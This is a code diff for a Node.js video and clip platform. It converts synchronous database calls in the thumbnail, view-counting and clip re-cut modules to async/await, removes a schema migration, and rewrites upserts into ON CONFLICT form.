_removeOldThumb(old, thumbUrl); // the previous picture goes once nothing names it
}
}
return thumbUrl;
return thumbUrl;
@@ -206,8 +206,8 @@ async function generateVodThumbnail(vodId, filePath, opts = {}) {
@@ -206,8 +206,8 @@ async function generateVodThumbnail(vodId, filePath, opts = {}) {
async function generateClipThumbnail(clipId, filePath) {
async function generateClipThumbnail(clipId, filePath) {
const thumbUrl = await generateFromVideo(filePath, 'clip', clipId, { seekSeconds: 0.5 });
const thumbUrl = await generateFromVideo(filePath, 'clip', clipId, { seekSeconds: 0.5 });
if (thumbUrl) {
if (thumbUrl) {
- const old = db.get('SELECT thumbnail_url FROM clips WHERE id = ?', [clipId])?.thumbnail_url;
- db.withObject('clip', clipId, () => db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [thumbUrl, clipId]));
+ const old = (await db.get('SELECT thumbnail_url FROM clips WHERE id = ?', [clipId]))?.thumbnail_url;
+ await db.withObject('clip', clipId, async () => await db.run('UPDATE clips SET thumbnail_url = ? WHERE id = ?', [thumbUrl, clipId]));
_removeOldThumb(old, thumbUrl);
_removeOldThumb(old, thumbUrl);
}
}
return thumbUrl;
return thumbUrl;
@@ -16,31 +16,31 @@ const views = require('./service');
@@ -16,31 +16,31 @@ const views = require('./service');
const router = express.Router({ mergeParams: true });
const router = express.Router({ mergeParams: true });
-function ownerOf(type, id) {
+async function ownerOf(type, id) {
const t = views.TABLES[type]; if (!t) return null;
const t = views.TABLES[type]; if (!t) return null;
- try { const r = db.get(`SELECT user_id FROM ${t.table} WHERE id = ?`, [id]); return r ? r.user_id : null; } catch { return null; }
+ try { const r = await db.get(`SELECT user_id FROM ${t.table} WHERE id = ?`, [id]); return r ? r.user_id : null; } catch { return null; }
}
}
-router.post('/', tenantAuth(), (req, res) => {
+router.post('/', tenantAuth(), async (req, res) => {
const body = req.body || {};
const body = req.body || {};
const type = String(body.type || '');
const type = String(body.type || '');
const id = parseInt(body.id, 10);
const id = parseInt(body.id, 10);
if (!views.TABLES[type] || !id) return res.status(400).json({ error: 'type (vod|clip|paste|file) and id required' });
if (!views.TABLES[type] || !id) return res.status(400).json({ error: 'type (vod|clip|paste|file) and id required' });
// Deletion/tenancy guard: only the owning app may count views on its content.
// Deletion/tenancy guard: only the owning app may count views on its content.
const t = views.TABLES[type];
const t = views.TABLES[type];
- const row = db.get(`SELECT app_id, user_id FROM ${t.table} WHERE id = ?`, [id]);
+ const row = await db.get(`SELECT app_id, user_id FROM ${t.table} WHERE id = ?`, [id]);
if (!row) return res.status(404).json({ error: 'Not found' });
if (!row) return res.status(404).json({ error: 'Not found' });
if (row.app_id && row.app_id !== req.appId) return res.status(403).json({ error: 'Not your content' });
if (row.app_id && row.app_id !== req.appId) return res.status(403).json({ error: 'Not your content' });
const userId = body.user_id != null ? body.user_id : (req.userId != null ? req.userId : null);
const userId = body.user_id != null ? body.user_id : (req.userId != null ? req.userId : null);
- const out = views.recordView(type, id, { req, ip: body.ip || undefined, userId, ownerUserId: row.user_id, userAgent: body.user_agent || undefined });
+ const out = await views.recordView(type, id, { req, ip: body.ip || undefined, userId, ownerUserId: row.user_id, userAgent: body.user_agent || undefined });
res.json(out);
res.json(out);
});
});
-router.get('/', tenantAuth({ allowUser: true }), (req, res) => {
+router.get('/', tenantAuth({ allowUser: true }), async (req, res) => {
const type = String(req.query.type || '');
const type = String(req.query.type || '');
if (!views.TABLES[type]) return res.status(400).json({ error: 'type required' });
if (!views.TABLES[type]) return res.status(400).json({ error: 'type required' });
const ids = String(req.query.ids || '').split(',').map(x => parseInt(x, 10)).filter(n => Number.isInteger(n) && n > 0).slice(0, 200);
const ids = String(req.query.ids || '').split(',').map(x => parseInt(x, 10)).filter(n => Number.isInteger(n) && n > 0).slice(0, 200);
- res.json({ type, counts: views.countsMany(type, ids) });
+ res.json({ type, counts: await views.countsMany(type, ids) });
});
});
module.exports = router;
module.exports = router;
@@ -22,81 +22,35 @@ const TABLES = { vod: { table: 'vods', raw: 'view_count' }, clip: { table: 'clip
@@ -22,81 +22,35 @@ const TABLES = { vod: { table: 'vods', raw: 'view_count' }, clip: { table: 'clip
const BOT_UA = /bot|crawl|spider|slurp|facebookexternalhit|preview|discordbot|twitterbot|whatsapp|telegram|curl\/|wget\/|python-requests|go-http-client|headless/i;
const BOT_UA = /bot|crawl|spider|slurp|facebookexternalhit|preview|discordbot|twitterbot|whatsapp|telegram|curl\/|wget\/|python-requests|go-http-client|headless/i;
let _secret = null;
let _secret = null;
-function secret() {
+async function secret() {
if (_secret) return _secret;
if (_secret) return _secret;
_secret = process.env.VIEW_HASH_SECRET || process.env.MEDIA_SECRET || process.env.INTERNAL_API_KEY || '';
_secret = process.env.VIEW_HASH_SECRET || process.env.MEDIA_SECRET || process.env.INTERNAL_API_KEY || '';
if (!_secret) {
if (!_secret) {
// Persist a random secret so visitor hashes stay stable across restarts.
// Persist a random secret so visitor hashes stay stable across restarts.
try {
try {
- const row = db.get("SELECT value FROM media_settings WHERE key = 'view_hash_secret'");
+ const row = await db.get("SELECT value FROM media_settings WHERE key = 'view_hash_secret'");
if (row && row.value) _secret = row.value;
if (row && row.value) _secret = row.value;
- else { _secret = crypto.randomBytes(24).toString('hex'); db.run("INSERT OR REPLACE INTO media_settings (key, value, description, type) VALUES ('view_hash_secret', ?, 'Internal: salt for hashed visitor ids (do not share)', 'string')", [_secret]); }
+ else { _secret = crypto.randomBytes(24).toString('hex'); await db.run("INSERT INTO media_settings (key, value, description, type) VALUES ('view_hash_secret', ?, 'Internal: salt for hashed visitor ids (do not share)', 'string') ON CONFLICT (key) DO UPDATE SET value = excluded.value, description = excluded.description, type = excluded.type, updated_at = ov_now()", [_secret]); }
} catch { _secret = 'openvibe-media'; }
} catch { _secret = 'openvibe-media'; }
}
}
return _secret;
return _secret;
}
}
-function cooldownSec() { const v = parseInt(db.getSetting('view_cooldown_sec'), 10); return Number.isFinite(v) && v >= 0 ? v : 6 * 3600; }
-function rateLimitPerMin() { const v = parseInt(db.getSetting('view_ip_events_per_min'), 10); return Number.isFinite(v) && v > 0 ? v : 60; }
+async function cooldownSec() { const v = parseInt(await db.getSetting('view_cooldown_sec'), 10); return Number.isFinite(v) && v >= 0 ? v : 6 * 3600; }
+async function rateLimitPerMin() { const v = parseInt(await db.getSetting('view_ip_events_per_min'), 10); return Number.isFinite(v) && v > 0 ? v : 60; }
-function ensureSchema() {
- db.getDb().exec(`
- CREATE TABLE IF NOT EXISTS content_visits (
- content_type TEXT NOT NULL, -- vod | clip | paste | file
- content_id INTEGER NOT NULL,
- visitor TEXT NOT NULL, -- 'u:<userId>' or 'ip:<hmac>'
- first_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- last_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- visits INTEGER DEFAULT 1,
- PRIMARY KEY (content_type, content_id, visitor)
- );
- CREATE INDEX IF NOT EXISTS idx_content_visits_item ON content_visits(content_type, content_id);
- CREATE INDEX IF NOT EXISTS idx_content_visits_last ON content_visits(last_at);
- `);
- for (const [, t] of Object.entries(TABLES)) {
- try {
- const cols = db.getDb().prepare(`PRAGMA table_info(${t.table})`).all().map(c => c.name);
- if (!cols.length) continue; // table absent in this deployment
- if (!cols.includes('unique_views')) db.getDb().exec(`ALTER TABLE ${t.table} ADD COLUMN unique_views INTEGER DEFAULT 0`);
- if (!cols.includes(t.raw)) db.getDb().exec(`ALTER TABLE ${t.table} ADD COLUMN ${t.raw} INTEGER DEFAULT 0`);
- } catch (e) { console.warn(`[Views] ${t.table} columns:`, e.message); }
- }
- // One-time import of the legacy unique-IP table (raw IPs → hashed visitors) so existing
- // counts survive; view_count on vods/clips already equals the unique count, so seed
- // unique_views from it and leave view_count as the (identical) starting point.
- try {
- const done = db.get("SELECT value FROM media_settings WHERE key = 'views_migrated_v2'");
- if (!done) {
- const rows = db.all('SELECT content_type, content_id, ip, created_at FROM content_views');
- const ins = db.getDb().prepare('INSERT OR IGNORE INTO content_visits (content_type, content_id, visitor, first_at, last_at, visits) VALUES (?, ?, ?, ?, ?, 1)');
- const tx = db.getDb().transaction(() => { for (const r of rows) ins.run(r.content_type, r.content_id, visitorForIp(r.ip), r.created_at, r.created_at); });
- tx();
- db.run('UPDATE vods SET unique_views = (SELECT COUNT(*) FROM content_visits v WHERE v.content_type = \'vod\' AND v.content_id = vods.id)');
- db.run('UPDATE clips SET unique_views = (SELECT COUNT(*) FROM content_visits v WHERE v.content_type = \'clip\' AND v.content_id = clips.id)');
- db.run('UPDATE vods SET view_count = MAX(COALESCE(view_count,0), unique_views)');
- db.run('UPDATE clips SET view_count = MAX(COALESCE(view_count,0), unique_views)');
- db.run("INSERT OR REPLACE INTO media_settings (key, value, description, type) VALUES ('views_migrated_v2', '1', 'Internal: legacy content_views imported', 'boolean')");
- console.log(`[Views] imported ${rows.length} legacy unique-view row(s)`);
- }
- } catch (e) { console.warn('[Views] legacy import:', e.message); }
- try {
- const seed = db.getDb().prepare('INSERT OR IGNORE INTO media_settings (key, value, description, type) VALUES (?, ?, ?, ?)');
- seed.run('view_cooldown_sec', '21600', 'A visitor counts as a new view of the same item only after this many seconds (anti refresh-spam). 0 = every visit', 'number');
- seed.run('view_ip_events_per_min', '60', 'Drop view events from an IP that fires more than this many per minute (across all content)', 'number');
- } catch { /* */ }
-}
// req.ip under 'trust proxy' = loopback (server/client-ip.js): the forwarding headers count only
// req.ip under 'trust proxy' = loopback (server/client-ip.js): the forwarding headers count only
// when the local proxy sent them, so a direct caller cannot pose as many visitors.
// when the local proxy sent them, so a direct caller cannot pose as many visitors.
const { clientIp } = require('../client-ip');
const { clientIp } = require('../client-ip');
-function visitorForIp(ip) { return 'ip:' + crypto.createHmac('sha256', secret()).update(String(ip || 'unknown')).digest('hex').slice(0, 24); }
+async function visitorForIp(ip) { return 'ip:' + crypto.createHmac('sha256', await secret()).update(String(ip || 'unknown')).digest('hex').slice(0, 24); }
// Per-IP event budget (sliding minute), in memory — protects the DB from a spammer, not a metric.
// Per-IP event budget (sliding minute), in memory — protects the DB from a spammer, not a metric.
const _ipEvents = new Map(); // ip → [timestamps]
const _ipEvents = new Map(); // ip → [timestamps]
-function _overBudget(ip) {
+async function _overBudget(ip) {
const now = Date.now(); const cut = now - 60000;
const now = Date.now(); const cut = now - 60000;
let arr = _ipEvents.get(ip) || [];
let arr = _ipEvents.get(ip) || [];
arr = arr.filter(t => t > cut);
arr = arr.filter(t => t > cut);
- if (arr.length >= rateLimitPerMin()) { _ipEvents.set(ip, arr); return true; }
+ if (arr.length >= await rateLimitPerMin()) { _ipEvents.set(ip, arr); return true; }
arr.push(now); _ipEvents.set(ip, arr);
arr.push(now); _ipEvents.set(ip, arr);
if (_ipEvents.size > 5000) for (const [k, v] of _ipEvents) if (!v.some(t => t > cut)) _ipEvents.delete(k);
if (_ipEvents.size > 5000) for (const [k, v] of _ipEvents) if (!v.some(t => t > cut)) _ipEvents.delete(k);
return false;
return false;
@@ -109,7 +63,7 @@ function _overBudget(ip) {
@@ -109,7 +63,7 @@ function _overBudget(ip) {
* @param {object} o { req?, ip?, userId?, ownerUserId?, userAgent? }
* @param {object} o { req?, ip?, userId?, ownerUserId?, userAgent? }
* @returns {{ counted:boolean, unique:boolean, reason?:string, view_count?:number, unique_views?:number }}
* @returns {{ counted:boolean, unique:boolean, reason?:string, view_count?:number, unique_views?:number }}
*/
*/
-function recordView(type, id, o = {}) {
+async function recordView(type, id, o = {}) {
const t = TABLES[type];
const t = TABLES[type];
if (!t || !id) return { counted: false, unique: false, reason: 'bad-type' };
if (!t || !id) return { counted: false, unique: false, reason: 'bad-type' };
const req = o.req || null;
const req = o.req || null;
@@ -118,35 +72,35 @@ function recordView(type, id, o = {}) {
@@ -118,35 +72,35 @@ function recordView(type, id, o = {}) {
const userId = o.userId != null ? o.userId : (req && req.userId != null ? req.userId : null);
const userId = o.userId != null ? o.userId : (req && req.userId != null ? req.userId : null);
if (userId != null && o.ownerUserId != null && String(userId) === String(o.ownerUserId)) return { counted: false, unique: false, reason: 'owner' };
if (userId != null && o.ownerUserId != null && String(userId) === String(o.ownerUserId)) return { counted: false, unique: false, reason: 'owner' };
if (BOT_UA.test(ua)) return { counted: false, unique: false, reason: 'bot' };
if (BOT_UA.test(ua)) return { counted: false, unique: false, reason: 'bot' };
- if (_overBudget(ip)) return { counted: false, unique: false, reason: 'rate-limited' };
- const visitor = userId != null ? `u:${userId}` : visitorForIp(ip);
- const cd = cooldownSec();
+ if (await _overBudget(ip)) return { counted: false, unique: false, reason: 'rate-limited' };
+ const visitor = userId != null ? `u:${userId}` : await visitorForIp(ip);
+ const cd = await cooldownSec();
try {
try {
- const row = db.get('SELECT last_at, visits FROM content_visits WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);
+ const row = await db.get('SELECT last_at, visits FROM content_visits WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);
if (!row) {
if (!row) {
- db.run('INSERT OR IGNORE INTO content_visits (content_type, content_id, visitor) VALUES (?, ?, ?)', [type, id, visitor]);
- db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1, unique_views = COALESCE(unique_views,0) + 1 WHERE id = ?`, [id]);
- return { counted: true, unique: true, ...counts(type, id) };
+ await db.run('INSERT INTO content_visits (content_type, content_id, visitor) VALUES (?, ?, ?) ON CONFLICT DO NOTHING', [type, id, visitor]);
+ await db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1, unique_views = COALESCE(unique_views,0) + 1 WHERE id = ?`, [id]);
+ return { counted: true, unique: true, ...await counts(type, id) };
}
}
const lastMs = new Date(String(row.last_at).replace(' ', 'T') + 'Z').getTime();
const lastMs = new Date(String(row.last_at).replace(' ', 'T') + 'Z').getTime();
- if (cd > 0 && Date.now() - lastMs < cd * 1000) return { counted: false, unique: false, reason: 'cooldown', ...counts(type, id) };
- db.run('UPDATE content_visits SET last_at = CURRENT_TIMESTAMP, visits = visits + 1 WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);
- db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1 WHERE id = ?`, [id]);
- return { counted: true, unique: false, ...counts(type, id) };
+ if (cd > 0 && Date.now() - lastMs < cd * 1000) return { counted: false, unique: false, reason: 'cooldown', ...await counts(type, id) };
+ await db.run('UPDATE content_visits SET last_at = ov_now(), visits = visits + 1 WHERE content_type = ? AND content_id = ? AND visitor = ?', [type, id, visitor]);
+ await db.run(`UPDATE ${t.table} SET ${t.raw} = COALESCE(${t.raw},0) + 1 WHERE id = ?`, [id]);
+ return { counted: true, unique: false, ...await counts(type, id) };
} catch (e) {
} catch (e) {
console.warn('[Views] record failed:', e.message);
console.warn('[Views] record failed:', e.message);
return { counted: false, unique: false, reason: 'error' };
return { counted: false, unique: false, reason: 'error' };
}
}
}
}
-function counts(type, id) {
+async function counts(type, id) {
const t = TABLES[type]; if (!t) return {};
const t = TABLES[type]; if (!t) return {};
- const r = db.get(`SELECT COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id = ?`, [id]);
+ const r = await db.get(`SELECT COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id = ?`, [id]);
return r || { view_count: 0, unique_views: 0 };
return r || { view_count: 0, unique_views: 0 };
}
}
-function countsMany(type, ids) {
+async function countsMany(type, ids) {
const t = TABLES[type]; if (!t || !ids.length) return {};
const t = TABLES[type]; if (!t || !ids.length) return {};
- const rows = db.all(`SELECT id, COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id IN (${ids.map(() => '?').join(',')})`, ids);
+ const rows = await db.all(`SELECT id, COALESCE(${t.raw},0) AS view_count, COALESCE(unique_views,0) AS unique_views FROM ${t.table} WHERE id IN (${ids.map(() => '?').join(',')})`, ids);
const out = {}; for (const r of rows) out[r.id] = { view_count: r.view_count, unique_views: r.unique_views };
const out = {}; for (const r of rows) out[r.id] = { view_count: r.view_count, unique_views: r.unique_views };
return out;
return out;
}
}
@@ -159,8 +113,8 @@ function isInitialPlaybackRequest(req) {
@@ -159,8 +113,8 @@ function isInitialPlaybackRequest(req) {
}
}
/** Old visit rows are only needed for the cooldown; keep the table small (uniques stay in the counters). */
/** Old visit rows are only needed for the cooldown; keep the table small (uniques stay in the counters). */
-function prune(days = 30) {
- try { return db.run("DELETE FROM content_visits WHERE last_at < datetime('now', ?)", [`-${days} days`]).changes; } catch { return 0; }
+async function prune(days = 30) {
+ try { return (await db.run("DELETE FROM content_visits WHERE last_at < datetime('now', ?)", [`-${days} days`])).changes; } catch { return 0; }
}
}
-module.exports = { ensureSchema, recordView, counts, countsMany, isInitialPlaybackRequest, clientIp, prune, TABLES };
+module.exports = { recordView, counts, countsMany, isInitialPlaybackRequest, clientIp, prune, TABLES };
@@ -151,7 +151,7 @@ async function cutClip(o) {
@@ -151,7 +151,7 @@ async function cutClip(o) {
if (!cut.ok) return null;
if (!cut.ok) return null;
const ss = Math.max(0, Number(startTime) || 0);
const ss = Math.max(0, Number(startTime) || 0);
- const res = db.createClip({
+ const res = await db.createClip({
app_id: appId, vod_id: vodId, stream_id: streamId, user_id: userId,
app_id: appId, vod_id: vodId, stream_id: streamId, user_id: userId,
title: (title || 'Auto Clip').slice(0, 200), description: description || '',
title: (title || 'Auto Clip').slice(0, 200), description: description || '',
file_path: cut.filePath, start_time: ss, end_time: ss + cut.duration, duration_seconds: cut.duration,
file_path: cut.filePath, start_time: ss, end_time: ss + cut.duration, duration_seconds: cut.duration,
@@ -161,7 +161,7 @@ async function cutClip(o) {
@@ -161,7 +161,7 @@ async function cutClip(o) {
});
});
const clipId = res && res.lastInsertRowid;
const clipId = res && res.lastInsertRowid;
if (!clipId) return null;
if (!clipId) return null;
- const clip = db.getClipById(clipId);
+ const clip = await db.getClipById(clipId);
try { require('../thumbnails/thumbnail-service').generateClipThumbnail(clipId, cut.filePath).catch(() => {}); } catch { /* */ }
try { require('../thumbnails/thumbnail-service').generateClipThumbnail(clipId, cut.filePath).catch(() => {}); } catch { /* */ }
return clip;
return clip;
}
}
@@ -35,7 +35,7 @@ let _timer = null, _busy = false;
@@ -35,7 +35,7 @@ let _timer = null, _busy = false;
function freeBytes() {
function freeBytes() {
try { const st = fs.statfsSync(path.resolve(config.vod.path)); return Number(st.bavail) * Number(st.bsize); } catch { return 0; }
try { const st = fs.statfsSync(path.resolve(config.vod.path)); return Number(st.bavail) * Number(st.bsize); } catch { return 0; }
}
}
-function _clipPublic(clip) { try { return require('./clips-routes').clipPublic(clip); } catch { return clip; } }
+async function _clipPublic(clip) { try { return await require('./clips-routes').clipPublic(clip); } catch { return clip; } }
const RECUT_CAP_MS = 30 * 60 * 1000; // one clip can never hold the queue longer than this
const RECUT_CAP_MS = 30 * 60 * 1000; // one clip can never hold the queue longer than this
@@ -46,24 +46,24 @@ async function recutClip(clipId, opts = {}) {
@@ -46,24 +46,24 @@ async function recutClip(clipId, opts = {}) {
const result = await Promise.race([_recutClip(clipId, opts), cap]);
const result = await Promise.race([_recutClip(clipId, opts), cap]);
clearTimeout(timer);
clearTimeout(timer);
if (result && result.capped) {
if (result && result.capped) {
- const clip = db.getClipById(clipId);
- if (clip && clip.status === 'processing') return fail(clipId, clip, Number(clip.cut_attempts) || 1, `gave up after ${Math.round(RECUT_CAP_MS / 60000)} min (hung download or cut)`);
+ const clip = await db.getClipById(clipId);
+ if (clip && clip.status === 'processing') return await fail(clipId, clip, Number(clip.cut_attempts) || 1, `gave up after ${Math.round(RECUT_CAP_MS / 60000)} min (hung download or cut)`);
}
}
return result;
return result;
}
}
async function _recutClip(clipId, { reason = 'recut', viaJob = false } = {}) {
async function _recutClip(clipId, { reason = 'recut', viaJob = false } = {}) {
- const clip = db.getClipById(clipId);
+ const clip = await db.getClipById(clipId);
if (!clip) return { ok: false, error: 'Clip not found' };
if (!clip) return { ok: false, error: 'Clip not found' };
if (!clip.vod_id) return { ok: false, error: 'Clip has no source VOD' };
if (!clip.vod_id) return { ok: false, error: 'Clip has no source VOD' };
- const vod = db.get('SELECT * FROM vods WHERE id = ?', [clip.vod_id]);
+ const vod = await db.get('SELECT * FROM vods WHERE id = ?', [clip.vod_id]);
if (!vod) {
if (!vod) {
- objects().withObject('clip', clipId, () => db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = NULL WHERE id = ?", ['Source VOD no longer exists', clipId]));
+ await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = NULL WHERE id = ?", ['Source VOD no longer exists', clipId]));
return { ok: false, error: 'Source VOD no longer exists' };
return { ok: false, error: 'Source VOD no longer exists' };
}
}
const attempt = (Number(clip.cut_attempts) || 0) + 1;
const attempt = (Number(clip.cut_attempts) || 0) + 1;
// Row and object (back to uploading) together.
// Row and object (back to uploading) together.
- objects().withObject('clip', clipId, () => db.run("UPDATE clips SET status = 'processing', cut_attempts = ?, cut_next_at = NULL WHERE id = ?", [attempt, clipId]));
+ await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET status = 'processing', cut_attempts = ?, cut_next_at = NULL WHERE id = ?", [attempt, clipId]));
// Attempt 2+: bring a cloud-stored VOD home first when the disk can take it.
// Attempt 2+: bring a cloud-stored VOD home first when the disk can take it.
let source = await vodStorage.resolveMediaSource(vod);
let source = await vodStorage.resolveMediaSource(vod);
@@ -72,32 +72,32 @@ async function _recutClip(clipId, { reason = 'recut', viaJob = false } = {}) {
@@ -72,32 +72,32 @@ async function _recutClip(clipId, { reason = 'recut', viaJob = false } = {}) {
if (need && freeBytes() > need) {
if (need && freeBytes() > need) {
console.log(`[Clips] clip ${clipId}: pulling vod ${vod.id} (${(vod.file_size / 1048576).toFixed(0)} MB) back to local disk for a reliable cut`);
console.log(`[Clips] clip ${clipId}: pulling vod ${vod.id} (${(vod.file_size / 1048576).toFixed(0)} MB) back to local disk for a reliable cut`);
const r = await vodStorage.moveToHot(vod.id, { trigger: 'clip', reason: `fetched to local disk to cut clip ${clipId}` }).catch(e => ({ ok: false, error: e.message }));
const r = await vodStorage.moveToHot(vod.id, { trigger: 'clip', reason: `fetched to local disk to cut clip ${clipId}` }).catch(e => ({ ok: false, error: e.message }));
- if (r && r.ok) source = await vodStorage.resolveMediaSource(db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));
+ if (r && r.ok) source = await vodStorage.resolveMediaSource(await db.get('SELECT * FROM vods WHERE id = ?', [vod.id]));
else console.warn(`[Clips] clip ${clipId}: hot fetch ${r && r.held ? 'refused (the VOD is under a retention hold, its placement stays)' : `failed: ${r && r.error}`} — cutting from the cloud copy`);
else console.warn(`[Clips] clip ${clipId}: hot fetch ${r && r.held ? 'refused (the VOD is under a retention hold, its placement stays)' : `failed: ${r && r.error}`} — cutting from the cloud copy`);
} else {
} else {
console.log(`[Clips] clip ${clipId}: not enough free disk to pull vod ${vod.id} home — cutting from the cloud copy`);
console.log(`[Clips] clip ${clipId}: not enough free disk to pull vod ${vod.id} home — cutting from the cloud copy`);
}
}
}
}
- if (!source) return fail(clipId, clip, attempt, 'VOD media unavailable (not on disk and no cloud copy)', { viaJob });
+ if (!source) return await fail(clipId, clip, attempt, 'VOD media unavailable (not on disk and no cloud copy)', { viaJob });
const startTime = Number(clip.start_time) || 0;
const startTime = Number(clip.start_time) || 0;
const duration = Math.max(1, (Number(clip.end_time) || 0) - startTime);
const duration = Math.max(1, (Number(clip.end_time) || 0) - startTime);
const cut = await cutter.cutClipFile({ source: source.value, startTime, duration });
const cut = await cutter.cutClipFile({ source: source.value, startTime, duration });
- if (!cut.ok) return fail(clipId, clip, attempt, cut.error, { viaJob });
+ if (!cut.ok) return await fail(clipId, clip, attempt, cut.error, { viaJob });
// Thumbnail first (the clip.ready payload carries it), then the ready transition, the clip's
// Thumbnail first (the clip.ready payload carries it), then the ready transition, the clip's
// object and its event in one transaction (webhooks.announce), then the webhook.
// object and its event in one transaction (webhooks.announce), then the webhook.
try { await require('../thumbnails/thumbnail-service').generateClipThumbnail(clipId, cut.filePath); } catch { /* */ }
try { await require('../thumbnails/thumbnail-service').generateClipThumbnail(clipId, cut.filePath); } catch { /* */ }
- announce(clip.app_id, 'clip.ready', {
- change: () => objects().withObject('clip', clipId, () => db.run("UPDATE clips SET file_path = ?, duration_seconds = ?, end_time = ?, status = 'ready', cut_error = NULL, cut_next_at = NULL WHERE id = ?",
+ await announce(clip.app_id, 'clip.ready', {
+ change: async () => await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET file_path = ?, duration_seconds = ?, end_time = ?, status = 'ready', cut_error = NULL, cut_next_at = NULL WHERE id = ?",
[cut.filePath, cut.duration, startTime + cut.duration, clipId])),
[cut.filePath, cut.duration, startTime + cut.duration, clipId])),
- payload: () => _clipPublic(db.getClipById(clipId)),
+ payload: async () => await _clipPublic(await db.getClipById(clipId)),
});
});
console.log(`[Clips] Clip ${clipId} ${reason} OK from vod ${clip.vod_id} (${startTime.toFixed(1)}-${(startTime + cut.duration).toFixed(1)}s, attempt ${attempt})`);
console.log(`[Clips] Clip ${clipId} ${reason} OK from vod ${clip.vod_id} (${startTime.toFixed(1)}-${(startTime + cut.duration).toFixed(1)}s, attempt ${attempt})`);
return { ok: true, duration_seconds: cut.duration };
return { ok: true, duration_seconds: cut.duration };
}
}
/** A failed attempt. Under a job the queue schedules the retry, so nothing is left for the sweeper. */
/** A failed attempt. Under a job the queue schedules the retry, so nothing is left for the sweeper. */
-function fail(clipId, clip, attempt, error, { viaJob = false } = {}) {
+async function fail(clipId, clip, attempt, error, { viaJob = false } = {}) {
const msg = String(error || 'cut failed').slice(0, 500);
const msg = String(error || 'cut failed').slice(0, 500);
// Nothing to retry when the source itself has no footage there (empty recording, window
// Nothing to retry when the source itself has no footage there (empty recording, window
// past the end of what was captured): give up now instead of burning the whole ladder.
// past the end of what was captured): give up now instead of burning the whole ladder.
@@ -105,9 +105,9 @@ function fail(clipId, clip, attempt, error, { viaJob = false } = {}) {
@@ -105,9 +105,9 @@ function fail(clipId, clip, attempt, error, { viaJob = false } = {}) {
const more = !viaJob && attempt < MAX_ATTEMPTS && !hopeless;
const more = !viaJob && attempt < MAX_ATTEMPTS && !hopeless;
const mins = BACKOFF_MIN[Math.min(attempt - 1, BACKOFF_MIN.length - 1)];
const mins = BACKOFF_MIN[Math.min(attempt - 1, BACKOFF_MIN.length - 1)];
const nextAt = more ? new Date(Date.now() + mins * 60000).toISOString().replace('T', ' ').slice(0, 19) : null;
const nextAt = more ? new Date(Date.now() + mins * 60000).toISOString().replace('T', ' ').slice(0, 19) : null;
- announce(clip.app_id, 'clip.failed', {
- change: () => objects().withObject('clip', clipId, () => db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = ? WHERE id = ?", [msg, nextAt, clipId])),
- payload: () => _clipPublic(db.getClipById(clipId)),
+ await announce(clip.app_id, 'clip.failed', {
+ change: async () => await objects().withObject('clip', clipId, async () => await db.run("UPDATE clips SET status = 'failed', cut_error = ?, cut_next_at = ? WHERE id = ?", [msg, nextAt, clipId])),
+ payload: async () => await _clipPublic(await db.getClipById(clipId)),
});
});
console.warn(`[Clips] Clip ${clipId} attempt ${attempt}/${MAX_ATTEMPTS} failed: ${msg}${viaJob ? (hopeless ? ' — giving up' : ' — the job retries') : more ? ` — retry in ${mins} min` : ' — giving up'}`);
console.warn(`[Clips] Clip ${clipId} attempt ${attempt}/${MAX_ATTEMPTS} failed: ${msg}${viaJob ? (hopeless ? ' — giving up' : ' — the job retries') : more ? ` — retry in ${mins} min` : ' — giving up'}`);
return { ok: false, error: msg, retry_at: nextAt, hopeless };
return { ok: false, error: msg, retry_at: nextAt, hopeless };
@@ -117,8 +117,8 @@ async function sweep() {
@@ -117,8 +117,8 @@ async function sweep() {
if (_busy) return;
if (_busy) return;
_busy = true;
_busy = true;
try {
try {
- const due = db.all(`SELECT id FROM clips WHERE status = 'failed' AND vod_id IS NOT NULL
- AND COALESCE(cut_attempts, 0) < ? AND (cut_next_at IS NULL OR cut_next_at <= CURRENT_TIMESTAMP)
+ const due = await db.all(`SELECT id FROM clips WHERE status = 'failed' AND vod_id IS NOT NULL
+ AND COALESCE(cut_attempts, 0) < ? AND (cut_next_at IS NULL OR cut_next_at <= ov_now())
AND created_at >= datetime('now', '-30 days')
AND created_at >= datetime('now', '-30 days')
AND NOT EXISTS (SELECT 1 FROM media_jobs j WHERE j.job_type = 'clip.cut' AND j.app_id = clips.app_id AND CAST(json_extract(j.params, '$.clip_id') AS INTEGER) = clips.id)
AND NOT EXISTS (SELECT 1 FROM media_jobs j WHERE j.job_type = 'clip.cut' AND j.app_id = clips.app_id AND CAST(json_extract(j.params, '$.clip_id') AS INTEGER) = clips.id)
ORDER BY created_at DESC LIMIT 4`, [MAX_ATTEMPTS]) || [];
ORDER BY created_at DESC LIMIT 4`, [MAX_ATTEMPTS]) || [];
@@ -126,15 +126,15 @@ async function sweep() {
@@ -126,15 +126,15 @@ async function sweep() {
} finally { _busy = false; }
} finally { _busy = false; }
}
}
-function start() {
+async function start() {
if (_timer) return;
if (_timer) return;
try { vodStorage.cleanupStaleDownloads(); } catch { /* */ }
try { vodStorage.cleanupStaleDownloads(); } catch { /* */ }
// Anything left 'processing' by a crash/restart is really failed — queue it for a retry. The rows
// Anything left 'processing' by a crash/restart is really failed — queue it for a retry. The rows
// and their objects (uploading -> failed) in one transaction.
// and their objects (uploading -> failed) in one transaction.
try {
try {
- objects().withObject('clip', (ids) => ids, () => {
- const ids = db.all("SELECT id FROM clips WHERE status = 'processing'").map(r => r.id);
